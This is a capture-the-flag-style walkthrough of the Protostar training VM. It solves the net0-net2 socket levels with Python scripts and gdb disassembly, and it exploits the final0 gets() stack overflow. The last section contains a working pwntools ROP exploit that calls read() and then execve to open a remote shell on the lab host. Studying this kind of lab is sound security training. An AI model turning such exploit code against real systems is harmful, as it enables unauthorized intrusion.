In this article, we will be solving all networking challenges and one remote buffer overflow challenge of Protostar.

Introduction

These levels introduce us to the fundamental concept of sending and receiving data over a network in a different format, and the hurdles of debugging and developing an exploit for remote stack overflows. We will have a look at how we can debug and understand what inputs the program expects from us.

Downloads

The VM used in this article can be downloaded from here

Net 0

The following assembly code is obtained after disassembling the Net0 binary. As we can see, the application executes run function from the main function. The run function generates a random number and uses printf function call to print it on the screen. It further checks whether our input matches to the random() number generated by comparing our raw input and random number generated previously.

(gdb) disass main

Dump of assembler code for function main:

0x08049844
<main+0>:
push
ebp

0x08049845
<main+1>:
mov
ebp,esp

0x08049847
<main+3>:
and
esp,0xfffffff0

0x0804984a
<main+6>:
sub
esp,0x20

0x0804984d
<main+9>:
mov
DWORD
PTR
[esp+0x8],0x3e7

0x08049855
<main+17>:
mov
DWORD
PTR
[esp+0x4],0x3e7

0x0804985d
<main+25>:
mov
DWORD
PTR
[esp],0x8049cdc

0x08049864
<main+32>:
call
0x8048eb8
<background_process>

0x08049869
<main+37>:
mov
DWORD
PTR
[esp],0xbb7

0x08049870
<main+44>:
call
0x8049355
<serve_forever>

0x08049875
<main+49>:
mov
DWORD
PTR
[esp+0x18],eax

0x08049879
<main+53>:
mov
eax,DWORD
PTR
[esp+0x18]

0x0804987d
<main+57>:
mov
DWORD
PTR
[esp],eax

0x08049880
<main+60>:
call
0x8049435
<set_io>

0x08049885
<main+65>:
mov
DWORD
PTR
[esp],0x0

0x0804988c
<main+72>:
call
0x8048c38
<time@plt>

0x08049891
<main+77>:
mov
DWORD
PTR
[esp],eax

0x08049894
<main+80>:
call
0x8048bf8
<srandom@plt>

0x08049899
<main+85>:
call
0x80497ba
<run>

0x0804989e
<main+90>:
leave

0x0804989f
<main+91>:
ret

End of assembler dump.

(gdb) disass run

Dump of assembler code for function run:

0x080497ba
<run+0>:
push
ebp

0x080497bb
<run+1>:
mov
ebp,esp

0x080497bd
<run+3>:
sub
esp,0x28

; generate random number and store it in ebp-0xc

0x080497c0
<run+6>:
call
0x8048ab8
<random@plt>

0x080497c5
<run+11>:
mov
DWORD
PTR
[ebp0xc],eax

0x080497c8
<run+14>:
mov
eax,0x8049c74

0x080497cd
<run+19>:
mov
edx,DWORD
PTR
[ebp0xc]

0x080497d0
<run+22>:
mov
DWORD
PTR
[esp+0x4],edx

0x080497d4
<run+26>:
mov
DWORD
PTR
[esp],eax

0x080497d7
<run+29>:
call
0x8048bc8
<printf@plt>

0x080497dc
<run+34>:
mov
eax,ds:0x804aea8

0x080497e1
<run+39>:
mov
DWORD
PTR
[esp+0xc],eax

0x080497e5
<run+43>:
mov
DWORD
PTR
[esp+0x8],0x1

0x080497ed
<run+51>:
mov
DWORD
PTR
[esp+0x4],0x4

0x080497f5
<run+59>:
lea
eax,[ebp0x10]

0x080497f8
<run+62>:
mov
DWORD
PTR
[esp],eax

; read user raw input and store result in ebp-0x10

0x080497fb
<run+65>:
call
0x8048cc8
<fread@plt>

0x08049800
<run+70>:
test
eax,eax

0x08049802
<run+72>:
jne
0x8049818
<run+94>

0x08049804
<run+74>:
mov
DWORD
PTR
[esp+0x4],0x8049ca3

0x0804980c
<run+82>:
mov
DWORD
PTR
[esp],0x1

0x08049813
<run+89>:
call
0x8048be8
<errx@plt>

0x08049818
<run+94>:
mov
eax,DWORD
PTR
[ebp0x10]

; comparing whether user input matches to random()

0x0804981b
<run+97>:
cmp
eax,DWORD
PTR
[ebp0xc]

0x0804981e
<run+100>:
jne
0x804982e
<run+116>

0x08049820
<run+102>:
mov
DWORD
PTR
[esp],0x8049ca7

0x08049827
<run+109>:
call
0x8048c78
<puts@plt>

0x0804982c
<run+114>:
jmp
0x8049842
<run+136>

0x0804982e
<run+116>:
mov
edx,DWORD
PTR
[ebp0x10]

0x08049831
<run+119>:
mov
eax,0x8049cbc

0x08049836
<run+124>:
mov
DWORD
PTR
[esp+0x4],edx

0x0804983a
<run+128>:
mov
DWORD
PTR
[esp],eax

0x0804983d
<run+131>:
call
0x8048bc8
<printf@plt>

0x08049842
<run+136>:
leave

0x08049843
<run+137>:
ret

End of assembler dump.

Our logic for solving this challenge will be composed of following steps:

  • Connect to server
  • Recv() some data
  • Parse the data and take out the random number ask by the application
  • Pack the random number in little-endian format and send it back.

Using the logic listed above, we came up with the following piece of code and successfully passed this challenge.

#!/usr/bin/env python

import struct

import re

#!/usr/bin/env python

import socket

import sys

def
get_num(data):


return re.search(r”.*?\'(\d{1,})\’.*”,data).groups(1)[0]

if __name__==‘__main__’:

sock = socket.socket()

sock.connect((sys.argv[1],int(sys.argv[2])))

num = get_num(sock.recv(1024))


print num

answer = struct.pack(“<I”,int(num))

sock.send(answer+“\n”)

data = sock.recv(1024)


print data

sock.close()

”’

λ python net0.py 192.168.107.2 2999

1574307947

Thank you sir/madam”’


Net 1

By looking at the disassembled code of binary Net1, we can understand following things:

  • The program generates a random number and stores the integer as a string at ebp-0x24.
  • It then writes the content of number generated to stdout.
  • It then takes input from user removes CRLF characters and compare the input with the contents of ebp-0x24 variable saved earlier.

As in this case, the data is already packed in 32-bit integers. We will be using similar logic from the NET0 level and after receiving the data we will be unpacking it to 32-bit integer and send the unpacked value back as it is.

(gdb) disass main

Dump of assembler code for function main:

0x08049921
<main+0>:
push
ebp

0x08049922
<main+1>:
mov
ebp,esp

0x08049924
<main+3>:
and
esp,0xfffffff0

0x08049927
<main+6>:
sub
esp,0x20

0x0804992a
<main+9>:
mov
DWORD
PTR
[esp+0x8],0x3e6

0x08049932
<main+17>:
mov
DWORD
PTR
[esp+0x4],0x3e6

0x0804993a
<main+25>:
mov
DWORD
PTR
[esp],0x8049d9a

0x08049941
<main+32>:
call
0x8048f18
<background_process>

0x08049946
<main+37>:
mov
DWORD
PTR
[esp],0xbb6

0x0804994d
<main+44>:
call
0x80493b5
<serve_forever>

0x08049952
<main+49>:
mov
DWORD
PTR
[esp+0x18],eax

0x08049956
<main+53>:
mov
eax,DWORD
PTR
[esp+0x18]

0x0804995a
<main+57>:
mov
DWORD
PTR
[esp],eax

0x0804995d
<main+60>:
call
0x8049495
<set_io>

0x08049962
<main+65>:
mov
DWORD
PTR
[esp],0x0

0x08049969
<main+72>:
call
0x8048cb0
<time@plt>

0x0804996e
<main+77>:
mov
DWORD
PTR
[esp],eax

0x08049971
<main+80>:
call
0x8048c70
<srandom@plt>

0x08049976
<main+85>:
call
0x804981a
<run>

0x0804997b
<main+90>:
leave

0x0804997c
<main+91>:
ret

End of assembler dump.

(gdb) disass run

Dump of assembler code for function run:

0x0804981a
<run+0>:
push
ebp

0x0804981b
<run+1>:
mov
ebp,esp

0x0804981d
<run+3>:
sub
esp,0x38

; generate a random number and store it in ebp-0x28

0x08049820
<run+6>:
call
0x8048b10
<random@plt>

0x08049825
<run+11>:
mov
DWORD
PTR
[ebp0x28],eax

0x08049828
<run+14>:
mov
edx,DWORD
PTR
[ebp0x28]

0x0804982b
<run+17>:
mov
eax,0x8049d54

0x08049830
<run+22>:
mov
DWORD
PTR
[esp+0x8],edx

0x08049834
<run+26>:
mov
DWORD
PTR
[esp+0x4],eax

0x08049838
<run+30>:
lea
eax,[ebp0x24]

0x0804983b
<run+33>:
mov
DWORD
PTR
[esp],eax

; store the number using sprintf in another variable at ebp-0x24

0x0804983e
<run+36>:
call
0x8048a90
<sprintf@plt>

0x08049843
<run+41>:
mov
DWORD
PTR
[esp+0x8],0x4

0x0804984b
<run+49>:
lea
eax,[ebp0x28]

0x0804984e
<run+52>:
mov
DWORD
PTR
[esp+0x4],eax

0x08049852
<run+56>:
mov
DWORD
PTR
[esp],0x0

0x08049859
<run+63>:
call
0x8048b50
<write@plt>

0x0804985e
<run+68>:
cmp
eax,0x4

0x08049861
<run+71>:
je
0x8049877
<run+93>

0x08049863
<run+73>:
mov
DWORD
PTR
[esp+0x4],0x8049d57

0x0804986b
<run+81>:
mov
DWORD
PTR
[esp],0x1

0x08049872
<run+88>:
call
0x8048c60
<errx@plt>

0x08049877
<run+93>:
mov
eax,ds:0x804af68

0x0804987c
<run+98>:
mov
DWORD
PTR
[esp+0x8],eax

0x08049880
<run+102>:
mov
DWORD
PTR
[esp+0x4],0xb

0x08049888
<run+110>:
lea
eax,[ebp0x18]

0x0804988b
<run+113>:
mov
DWORD
PTR
[esp],eax

; get user input and store it in eax

0x0804988e
<run+116>:
call
0x8048b70
<fgets@plt>

0x08049893
<run+121>:
test
eax,eax

0x08049895
<run+123>:
jne
0x80498ab
<run+145>

0x08049897
<run+125>:
mov
DWORD
PTR
[esp+0x4],0x8049d57

0x0804989f
<run+133>:
mov
DWORD
PTR
[esp],0x1

0x080498a6
<run+140>:
call
0x8048c60
<errx@plt>

0x080498ab
<run+145>:
mov
DWORD
PTR
[esp+0x4],0xd

0x080498b3
<run+153>:
lea
eax,[ebp0x18]

0x080498b6
<run+156>:
mov
DWORD
PTR
[esp],eax

; remove the carriage return (“\r” = 0xd) from user’s input

0x080498b9
<run+159>:
call
0x8048b40
<strchr@plt>

0x080498be
<run+164>:
mov
DWORD
PTR
[ebp0xc],eax

0x080498c1
<run+167>:
cmp
DWORD
PTR
[ebp0xc],0x0

0x080498c5
<run+171>:
je
0x80498cd
<run+179>

0x080498c7
<run+173>:
mov
eax,DWORD
PTR
[ebp0xc]

0x080498ca
<run+176>:
mov
BYTE
PTR
[eax],0x0

0x080498cd
<run+179>:
mov
DWORD
PTR
[esp+0x4],0xa

0x080498d5
<run+187>:
lea
eax,[ebp0x18]

0x080498d8
<run+190>:
mov
DWORD
PTR
[esp],eax

; remove the line feed (“\n” = 0xa) from user’s input

0x080498db
<run+193>:
call
0x8048b40
<strchr@plt>

0x080498e0
<run+198>:
mov
DWORD
PTR
[ebp0xc],eax

0x080498e3
<run+201>:
cmp
DWORD
PTR
[ebp0xc],0x0

0x080498e7
<run+205>:
je
0x80498ef
<run+213>

0x080498e9
<run+207>:
mov
eax,DWORD
PTR
[ebp0xc]

0x080498ec
<run+210>:
mov
BYTE
PTR
[eax],0x0

0x080498ef
<run+213>:
lea
eax,[ebp0x18]

0x080498f2
<run+216>:
mov
DWORD
PTR
[esp+0x4],eax

0x080498f6
<run+220>:
lea
eax,[ebp0x24]

0x080498f9
<run+223>:
mov
DWORD
PTR
[esp],eax

; compare user input with random variable stored at ebp-0x24

0x080498fc
<run+226>:
call
0x8048d50
<strcmp@plt>

0x08049901
<run+231>:
test
eax,eax

0x08049903
<run+233>:
jne
0x8049913
<run+249>

0x08049905
<run+235>:
mov
DWORD
PTR
[esp],0x8049d5b

0x0804990c
<run+242>:
call
0x8048cf0
<puts@plt>

0x08049911
<run+247>:
jmp
0x804991f
<run+261>

0x08049913
<run+249>:
mov
DWORD
PTR
[esp],0x8049d78

0x0804991a
<run+256>:
call
0x8048cf0
<puts@plt>

0x0804991f
<run+261>:
leave

0x08049920
<run+262>:
ret

End of assembler dump.

Finally, we came up with following piece of code that will solve this challenge.

#!/usr/bin/env python

import struct

import re

import socket

import sys

if __name__==‘__main__’:

sock = socket.socket()

sock.connect((sys.argv[1],int(sys.argv[2])))

answer = struct.unpack(“<I”,sock.recv(4))[0]


print answer

sock.send(str(answer)+“\n”)

data = sock.recv(1024)


print data

sock.close()

”’

λ python net1.py 192.168.107.2 2998

1431025325

you correctly sent the data

”’

Net 2

By looking at the disassembled code of binary Net2, we can understand following things:

  • The application generates four random numbers and sends in four iterations using write ().
  • It also keeps on adding them and stores the overall result at ebp-0xc.
  • As a result might overflow its limit, it will wrap, so we need to take care of that in our code too.
  • Finally, it checks the input provided by the user matches the added numbers, so we need to pack our input to an unsigned int to take care of that.

(gdb) disass main

Dump of assembler code for function main:

0x0804985d
<main+0>:
push
ebp

0x0804985e
<main+1>:
mov
ebp,esp

0x08049860
<main+3>:
and
esp,0xfffffff0

0x08049863
<main+6>:
sub
esp,0x20

0x08049866
<main+9>:
mov
DWORD
PTR
[esp+0x8],0x3e5

0x0804986e
<main+17>:
mov
DWORD
PTR
[esp+0x4],0x3e5

0x08049876
<main+25>:
mov
DWORD
PTR
[esp],0x8049ccf

0x0804987d
<main+32>:
call
0x8048e88
<background_process>

0x08049882
<main+37>:
mov
DWORD
PTR
[esp],0xbb5

0x08049889
<main+44>:
call
0x8049325
<serve_forever>

0x0804988e
<main+49>:
mov
DWORD
PTR
[esp+0x18],eax

0x08049892
<main+53>:
mov
eax,DWORD
PTR
[esp+0x18]

0x08049896
<main+57>:
mov
DWORD
PTR
[esp],eax

0x08049899
<main+60>:
call
0x8049405
<set_io>

0x0804989e
<main+65>:
mov
DWORD
PTR
[esp],0x0

0x080498a5
<main+72>:
call
0x8048c18
<time@plt>

0x080498aa
<main+77>:
mov
DWORD
PTR
[esp],eax

0x080498ad
<main+80>:
call
0x8048bd8
<srandom@plt>

0x080498b2
<main+85>:
call
0x804978a
<run>

0x080498b7
<main+90>:
leave

0x080498b8
<main+91>:
ret

End of assembler dump.

(gdb) disass run

Dump of assembler code for function run:

0x0804978a
<run+0>:
push
ebp

0x0804978b
<run+1>:
mov
ebp,esp

0x0804978d
<run+3>:
push
ebx

0x0804978e
<run+4>:
sub
esp,0x34

0x08049791
<run+7>:
mov
DWORD
PTR
[ebp0xc],0x0

0x08049798
<run+14>:
mov
DWORD
PTR
[ebp0x10],0x0

0x0804979f
<run+21>:
jmp
0x80497fb
<run+113>

0x080497a1
<run+23>:
mov
ebx,DWORD
PTR
[ebp0x10]

0x080497a4
<run+26>:
call
0x8048a98
<random@plt>

0x080497a9
<run+31>:
mov
DWORD
PTR
[ebp+ebx*40x20],eax

0x080497ad
<run+35>:
mov
eax,DWORD
PTR
[ebp0x10]

0x080497b0
<run+38>:
mov
eax,DWORD
PTR
[ebp+eax*40x20]

; add the result of previously generated number to ebp-0xc

0x080497b4
<run+42>:
add
DWORD
PTR
[ebp0xc],eax

0x080497b7
<run+45>:
mov
eax,DWORD
PTR
[ebp0x10]

0x080497ba
<run+48>:
lea
edx,[eax*4+0x0]

0x080497c1
<run+55>:
lea
eax,[ebp0x20]

0x080497c4
<run+58>:
add
eax,edx

0x080497c6
<run+60>:
mov
DWORD
PTR
[esp+0x8],0x4

0x080497ce
<run+68>:
mov
DWORD
PTR
[esp+0x4],eax

0x080497d2
<run+72>:
mov
DWORD
PTR
[esp],0x0

; write the generated random number to stdout

0x080497d9
<run+79>:
call
0x8048ac8
<write@plt>

0x080497de
<run+84>:
cmp
eax,0x4

0x080497e1
<run+87>:
je
0x80497f7
<run+109>

0x080497e3
<run+89>:
mov
DWORD
PTR
[esp+0x4],0x8049c94

0x080497eb
<run+97>:
mov
DWORD
PTR
[esp],0x1

0x080497f2
<run+104>:
call
0x8048bc8
<errx@plt>

0x080497f7
<run+109>:
add
DWORD
PTR
[ebp0x10],0x1

; loop 4 times ; i.e generate 4 random numbers

0x080497fb
<run+113>:
cmp
DWORD
PTR
[ebp0x10],0x3

0x080497ff
<run+117>:
jle
0x80497a1
<run+23>

0x08049801
<run+119>:
mov
DWORD
PTR
[esp+0x8],0x4

0x08049809
<run+127>:
lea
eax,[ebp0x24]

0x0804980c
<run+130>:
mov
DWORD
PTR
[esp+0x4],eax

0x08049810
<run+134>:
mov
DWORD
PTR
[esp],0x0

; read user input

0x08049817
<run+141>:
call
0x8048b28
<read@plt>

0x0804981c
<run+146>:
cmp
eax,0x4

0x0804981f
<run+149>:
je
0x8049835
<run+171>

0x08049821
<run+151>:
mov
DWORD
PTR
[esp+0x4],0x8049c98

0x08049829
<run+159>:
mov
DWORD
PTR
[esp],0x1

0x08049830
<run+166>:
call
0x8048bc8
<errx@plt>

0x08049835
<run+171>:
mov
eax,DWORD
PTR
[ebp0x24]

; compare the result of addition of random numbers with user’s input

0x08049838
<run+174>:
cmp
DWORD
PTR
[ebp0xc],eax

0x0804983b
<run+177>:
jne
0x804984b
<run+193>

0x0804983d
<run+179>:
mov
DWORD
PTR
[esp],0x8049c9c

0x08049844
<run+186>:
call
0x8048c58
<puts@plt>

0x08049849
<run+191>:
jmp
0x8049857
<run+205>

0x0804984b
<run+193>:
mov
DWORD
PTR
[esp],0x8049cb5

0x08049852
<run+200>:
call
0x8048c58
<puts@plt>

0x08049857
<run+205>:
add
esp,0x34

0x0804985a
<run+208>:
pop
ebx

0x0804985b
<run+209>:
pop
ebp

0x0804985c
<run+210>:
ret

End of assembler dump.

We came up with the following piece of code to solve this challenge using the following algorithm:

  • Connect to the server.
  • recv () four bytes of data from the server iteratively four times and add them.
  • DO an AND operation with the final sum, so the result stays in 32 unsigned int’s range.
  • Pack the result and send it back to the server.

#!/usr/bin/env python

import struct

import re

import socket

import sys

if __name__==‘__main__’:

sock = socket.socket()

sock.connect((sys.argv[1],int(sys.argv[2])))

s =
0


for x in range(4):

buf = sock.recv(4)

num = struct.unpack(“<I”,buf)[0]


# print num

s += num


# print s

s = s &
(0xffffffff)


print s

sock.send(struct.pack(“<I”,s)+“\n”)


print sock.recv(1024)

sock.close()

”’

λ python net2.py 192.168.107.2 2997

692848234

you added them correctly

”’

Final 0

This level takes us back to simple stack based buffer overflows with little restrictions added here and there. Let’s have a look at the disassembled code for this level. By looking at the code we can quickly figure out the vulnerable function gets() is used but the problem is our input gets passed through the for loop which iterates each of our provided bytes thus it will corrupt any non-alpha uppercase shellcode.

(gdb) disass main

Dump of assembler code for function main:

0x08049833
<main+0>:
push
ebp

0x08049834
<main+1>:
mov
ebp,esp

0x08049836
<main+3>:
and
esp,0xfffffff0

0x08049839
<main+6>:
sub
esp,0x20

0x0804983c
<main+9>:
mov
DWORD
PTR
[esp+0x8],0x0

0x08049844
<main+17>:
mov
DWORD
PTR
[esp+0x4],0x0

0x0804984c
<main+25>:
mov
DWORD
PTR
[esp],0x8049c74

0x08049853
<main+32>:
call
0x8048e58
<background_process>

0x08049858
<main+37>:
mov
DWORD
PTR
[esp],0xbb3

0x0804985f
<main+44>:
call
0x80492f5
<serve_forever>

0x08049864
<main+49>:
mov
DWORD
PTR
[esp+0x18],eax

0x08049868
<main+53>:
mov
eax,DWORD
PTR
[esp+0x18]

0x0804986c
<main+57>:
mov
DWORD
PTR
[esp],eax

0x0804986f
<main+60>:
call
0x80493d5
<set_io>1

; call vulnerable function get_username()

0x08049874
<main+65>:
call
0x804975a
<get_username>

0x08049879
<main+70>:
mov
DWORD
PTR
[esp+0x1c],eax

0x0804987d
<main+74>:
mov
eax,0x8049c7b

0x08049882
<main+79>:
mov
edx,DWORD
PTR
[esp+0x1c]

0x08049886
<main+83>:
mov
DWORD
PTR
[esp+0x4],edx

0x0804988a
<main+87>:
mov
DWORD
PTR
[esp],eax

0x0804988d
<main+90>:
call
0x8048bac
<printf@plt>

0x08049892
<main+95>:
leave

0x08049893
<main+96>:
ret

End of assembler dump.

(gdb) disass get_username

Dump of assembler code for function get_username:

0x0804975a
<get_username+0>:
push
ebp

0x0804975b
<get_username+1>:
mov
ebp,esp

0x0804975d
<get_username+3>:
push
ebx

0x0804975e
<get_username+4>:
sub
esp,0x224

0x08049764
<get_username+10>:
mov
DWORD
PTR
[esp+0x8],0x200

0x0804976c
<get_username+18>:
mov
DWORD
PTR
[esp+0x4],0x0

0x08049774
<get_username+26>:
lea
eax,[ebp0x210]

0x0804977a
<get_username+32>:
mov
DWORD
PTR
[esp],eax

; set 0x200 = 512 bytes for variable at ebp-0x210

0x0804977d
<get_username+35>:
call
0x8048aec
<memset@plt>

0x08049782
<get_username+40>:
lea
eax,[ebp0x210]

0x08049788
<get_username+46>:
mov
DWORD
PTR
[esp],eax

; vulnerable gets call to copy userinput blindly into variable at ebp-0x210

0x0804978b
<get_username+49>:
call
0x8048aac
<gets@plt>

0x08049790
<get_username+54>:
mov
DWORD
PTR
[esp+0x4],0xa

0x08049798
<get_username+62>:
lea
eax,[ebp0x210]

0x0804979e
<get_username+68>:
mov
DWORD
PTR
[esp],eax

; strip line feed (“\n” = 0xa) from userinput

0x080497a1
<get_username+71>:
call
0x8048a9c
<strchr@plt>

0x080497a6
<get_username+76>:
mov
DWORD
PTR
[ebp0x10],eax

0x080497a9
<get_username+79>:
cmp
DWORD
PTR
[ebp0x10],0x0

0x080497ad
<get_username+83>:
je
0x80497b5
<get_username+91>

0x080497af
<get_username+85>:
mov
eax,DWORD
PTR
[ebp0x10]

0x080497b2
<get_username+88>:
mov
BYTE
PTR
[eax],0x0

0x080497b5
<get_username+91>:
mov
DWORD
PTR
[esp+0x4],0xd

0x080497bd
<get_username+99>:
lea
eax,[ebp0x210]

0x080497c3
<get_username+105>:
mov
DWORD
PTR
[esp],eax

; strip carriage return (“\r” = 0xd) from userinput

0x080497c6
<get_username+108>:
call
0x8048a9c
<strchr@plt>

0x080497cb
<get_username+113>:
mov
DWORD
PTR
[ebp0x10],eax

; start loop to capitalize every userinput

0x080497ce
<get_username+116>:
cmp
DWORD
PTR
[ebp0x10],0x0

0x080497d2
<get_username+120>:
je
0x80497da
<get_username+128>

0x080497d4
<get_username+122>:
mov
eax,DWORD
PTR
[ebp0x10]

0x080497d7
<get_username+125>:
mov
BYTE
PTR
[eax],0x0

0x080497da
<get_username+128>:
mov
DWORD
PTR
[ebp0xc],0x0

0x080497e1
<get_username+135>:
jmp
0x8049807
<get_username+173>

0x080497e3
<get_username+137>:
mov
ebx,DWORD
PTR
[ebp0xc]

0x080497e6
<get_username+140>:
mov
eax,DWORD
PTR
[ebp0xc]

0x080497e9
<get_username+143>:
movzx
eax,BYTE
PTR
[ebp+eax*10x210]

0x080497f1
<get_username+151>:
movsx
eax,al

0x080497f4
<get_username+154>:
mov
DWORD
PTR
[esp],eax

0x080497f7
<get_username+157>:
call
0x8048adc
<toupper@plt>

0x080497fc
<get_username+162>:
mov
BYTE
PTR
[ebp+ebx*10x210],al

0x08049803
<get_username+169>:
add
DWORD
PTR
[ebp0xc],0x1

0x08049807
<get_username+173>:
mov
ebx,DWORD
PTR
[ebp0xc]

0x0804980a
<get_username+176>:
lea
eax,[ebp0x210]

0x08049810
<get_username+182>:
mov
DWORD
PTR
[esp],eax

0x08049813
<get_username+185>:
call
0x8048b8c
<strlen@plt>

0x08049818
<get_username+190>:
cmp
ebx,eax

0x0804981a
<get_username+192>:
jb
0x80497e3
<get_username+137>

0x0804981c
<get_username+194>:
lea
eax,[ebp0x210]

0x08049822
<get_username+200>:
mov
DWORD
PTR
[esp],eax

; create a copy of userinput string using strdup()

0x08049825
<get_username+203>:
call
0x8048c7c
<strdup@plt>

0x0804982a
<get_username+208>:
add
esp,0x224

0x08049830
<get_username+214>:
pop
ebx

0x08049831
<get_username+215>:
pop
ebp

0x08049832
<get_username+216>:
ret

End of assembler dump.

So, let’s start with fuzzing the application and figuring out the offset to EIP. First, we use Python’s pwntools library for generating a cyclic pattern and end up with following snippet of code.

#!/usr/bin/env python

from pwn import
*

import string

buf = cyclic(alphabet=string.ascii_letters[26:],n=4)[:600]

r = remote(“192.168.107.2”,2995)

r.send(buf+“\n”)

r.close()

An observant user must have noticed that application is using forking technique to serve connections thus debugging using process id will not work for runtime analysis. Therefore, we need to debug child process. We placed a breakpoint after strdup (0x0804982a) and started analyzing the state of the process.

As we will need to debug the same process multiple times so it will be a bit painful to set gdb commands every time, therefore we will be using the .gdbinit file for the sake of automation.

set followforkmode child

set disassemblyflavor intel

b *0x0804982a

commands

silent

info registers

x/20wx $esp

x/10i $eip

After editing the .gdbinit file and sending our fuzz string we got an $eip overwrite at 0x46414149, our input is placed on the stack and $eax points to some part of our shellcode mainly from the start because of strdup() function which returns in $eax. We further used cyclic_find function from pwntools to get offset to $eip at 532.

Ethical Hacking Training – Resources (InfoSec)

(gdb)
c

Continuing.

[New process 1756]

[Switching to process 1756]

Current language: auto

The current source language is “auto; currently c”.

eax
0x804b008
134524936

ecx
0x0
0

edx
0x1
1

ebx
0x200
512

esp
0xbffffa30
0xbffffa30

ebp
0xbffffc58
0xbffffc58

esi
0x0
0

edi
0x0
0

eip 0x804982a
0x804982a
<get_username+208>

eflags 0x202
[
IF
]

cs
0x73
115

ss
0x7b
123

ds
0x7b
123

es
0x7b
123

fs
0x0
0

gs
0x33
51

0xbffffa30:
0xbffffa48
0x0000000d
0x00000200
0x00000578

0xbffffa40:
0xb7e9c894
0x0d696910
0x41414141
0x41414142

0xbffffa50:
0x41414143
0x41414144
0x41414145
0x41414146

0xbffffa60:
0x41414147
0x41414148
0x41414149
0x4141414a

0xbffffa70:
0x4141414b
0x4141414c
0x4141414d
0x4141414e

0x804982a
<get_username+208>:
add
esp,0x224

0x8049830
<get_username+214>:
pop
ebx

0x8049831
<get_username+215>:
pop
ebp

0x8049832
<get_username+216>:
ret

0x8049833
<main>:
push
ebp

0x8049834
<main+1>:
mov
ebp,esp

0x8049836
<main+3>:
and
esp,0xfffffff0

0x8049839
<main+6>:
sub
esp,0x20

0x804983c
<main+9>:
mov
DWORD
PTR
[esp+0x8],0x0

0x8049844
<main+17>:
mov
DWORD
PTR
[esp+0x4],0x0

(gdb)
c

Continuing.

Program received signal SIGSEGV, Segmentation fault.

0x46414149
in ?? ()

(gdb)

Now there are multiple options for writing exploit for this program:

  • Return to register: call eax (required Alpha upper shellcode)
  • Jump to stack: At the time of the crash, no pointers to our shellcode were present on the stack we need to rely on the hardcoded address (Not a reliable way). Also, we do not need alphanumeric shellcode in this case as gets will copying our input into buffer after it meets a null bytes (\x00).
  • ROP Chain via ret2libc: As there is no ASLR enabled on the system we can rely on the PLT address from the executable itself construct a simple ROP chain. (Reliable unless ASLR is enabled even in that case we need to modify our shellcode to make it work again slightly)

Our ROP chain will do the following:

  • Read the contents of system command in .dynamic section.
  • Pass the pointer of .dynamic to execve.

#!/usr/bin/env python

from pwn import
*

r = remote(“192.168.56.102”,2995)

execve = p32(0x8048c0c)

pppr = p32(0x8049906)

read_p = p32(0x8048b2c)

junk =
“A”*532

# read our command into .dynamic section

junk += read_p

junk += pppr

junk += p32(0x0)

junk += p32(0x804aca8)
# .dynamic Section

junk += p32(0x8)

# execute execve with pointer to /bin/sh

junk += execve

junk += pppr

junk += p32(0x0804aca8)

junk += p32(0x0)

junk += p32(0x0)

r.send(junk+“\n”)

r.send(“/bin/sh\x00”)
# input to first read

r.interactive()

r.close()

As we see in the following screenshot, we were able to obtain remote shell by exploiting final0 binary.


References:

https://en.wikipedia.org/wiki/Endianness

http://resources.infosecinstitute.com/exploiting-protostar-stack-0-3/

http://resources.infosecinstitute.com/exploiting-protostar-stack-4-7/